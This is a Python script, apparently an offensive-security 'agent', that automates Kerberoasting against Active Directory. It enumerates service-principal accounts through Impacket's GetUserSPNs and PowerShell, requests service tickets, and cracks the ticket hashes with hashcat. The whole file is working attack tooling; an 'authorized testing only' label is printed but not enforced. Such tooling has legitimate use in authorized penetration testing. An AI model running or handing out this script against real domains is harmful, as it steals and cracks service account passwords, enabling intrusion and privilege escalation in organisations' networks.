#!/usr/bin/env python3
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""

import argparse
import json
import subprocess
from datetime import datetime, timezone


def run_getuserspns(domain, username, password, dc_ip, output_file=None):
    """Execute Impacket GetUserSPNs to extract service ticket hashes."""
    cmd = [
        "GetUserSPNs.py", f"{domain}/{username}:{password}",
        "-dc-ip", dc_ip, "-request",
    ]
    if output_file:
        cmd.extend(["-outputfile", output_file])
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=60
        )
        return {"status": "success", "output": result[:2000]}
    except subprocess.SubprocessError as e:
        return {"status": "failed", "error": str(e)[:200]}
    except FileNotFoundError:
        return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}


def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
    """Enumerate SPN accounts via LDAP query."""
    cmd = [
        "GetUserSPNs.py", f"{domain}/{username}:{password}",
        "-dc-ip", dc_ip,
    ]
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=30
        )
        accounts = []
        for line in result.strip().splitlines():
            if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
                parts = line.split()
                if len(parts) >= 3:
                    accounts.append({
                        "spn": parts[0],
                        "name": parts[1],
                        "memberof": parts[2] if len(parts) > 2 else "",
                    })
        return accounts
    except (subprocess.SubprocessError, FileNotFoundError):
        return []


def crack_with_hashcat(hash_file, wordlist, rules=None):
    """Crack Kerberos TGS hashes with hashcat."""
    cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
    if rules:
        cmd.extend(["-r", rules])
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=600
        )
        return {"status": "completed", "output": result[:1000]}
    except subprocess.SubprocessError as e:
        return {"status": "failed", "error": str(e)[:200]}
    except FileNotFoundError:
        return {"status": "failed", "error": "hashcat not found"}


def enumerate_powershell():
    """Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
    ps_cmd = (
        "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
        "ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
        "| Select-Object SamAccountName,Enabled,PasswordLastSet,"
        "@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
        "| ConvertTo-Json"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=30
        )
        data = json.loads(result) if result.strip() else []
        return data if isinstance(data, list) else [data]
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return []


def main():
    parser = argparse.ArgumentParser(
        description="Kerberoasting with Impacket (authorized testing only)"
    )
    parser.add_argument("--domain", help="AD domain")
    parser.add_argument("--username", help="Domain username")
    parser.add_argument("--password", help="Domain password")
    parser.add_argument("--dc-ip", help="Domain controller IP")
    parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
    parser.add_argument("--request", action="store_true", help="Request TGS tickets")
    parser.add_argument("--hash-file", help="Output file for hashes")
    parser.add_argument("--crack", help="Wordlist for hash cracking")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Kerberoasting Agent (Impacket)")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.enumerate:
        if args.domain and args.username:
            accounts = enumerate_spn_accounts_ldap(
                args.domain, args.username, args.password or "", args.dc_ip or ""
            )
        else:
            accounts = enumerate_powershell()
        report["findings"]["spn_accounts"] = accounts
        print(f"[*] SPN accounts found: {len(accounts)}")

    if args.request and args.domain:
        result = run_getuserspns(
            args.domain, args.username or "", args.password or "",
            args.dc_ip or "", args.hash_file
        )
        report["findings"]["ticket_request"] = result
        print(f"[*] Ticket request: {result['status']}")

    if args.crack and args.hash_file:
        crack_result = crack_with_hashcat(args.hash_file, args.crack)
        report["findings"]["cracking"] = crack_result

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
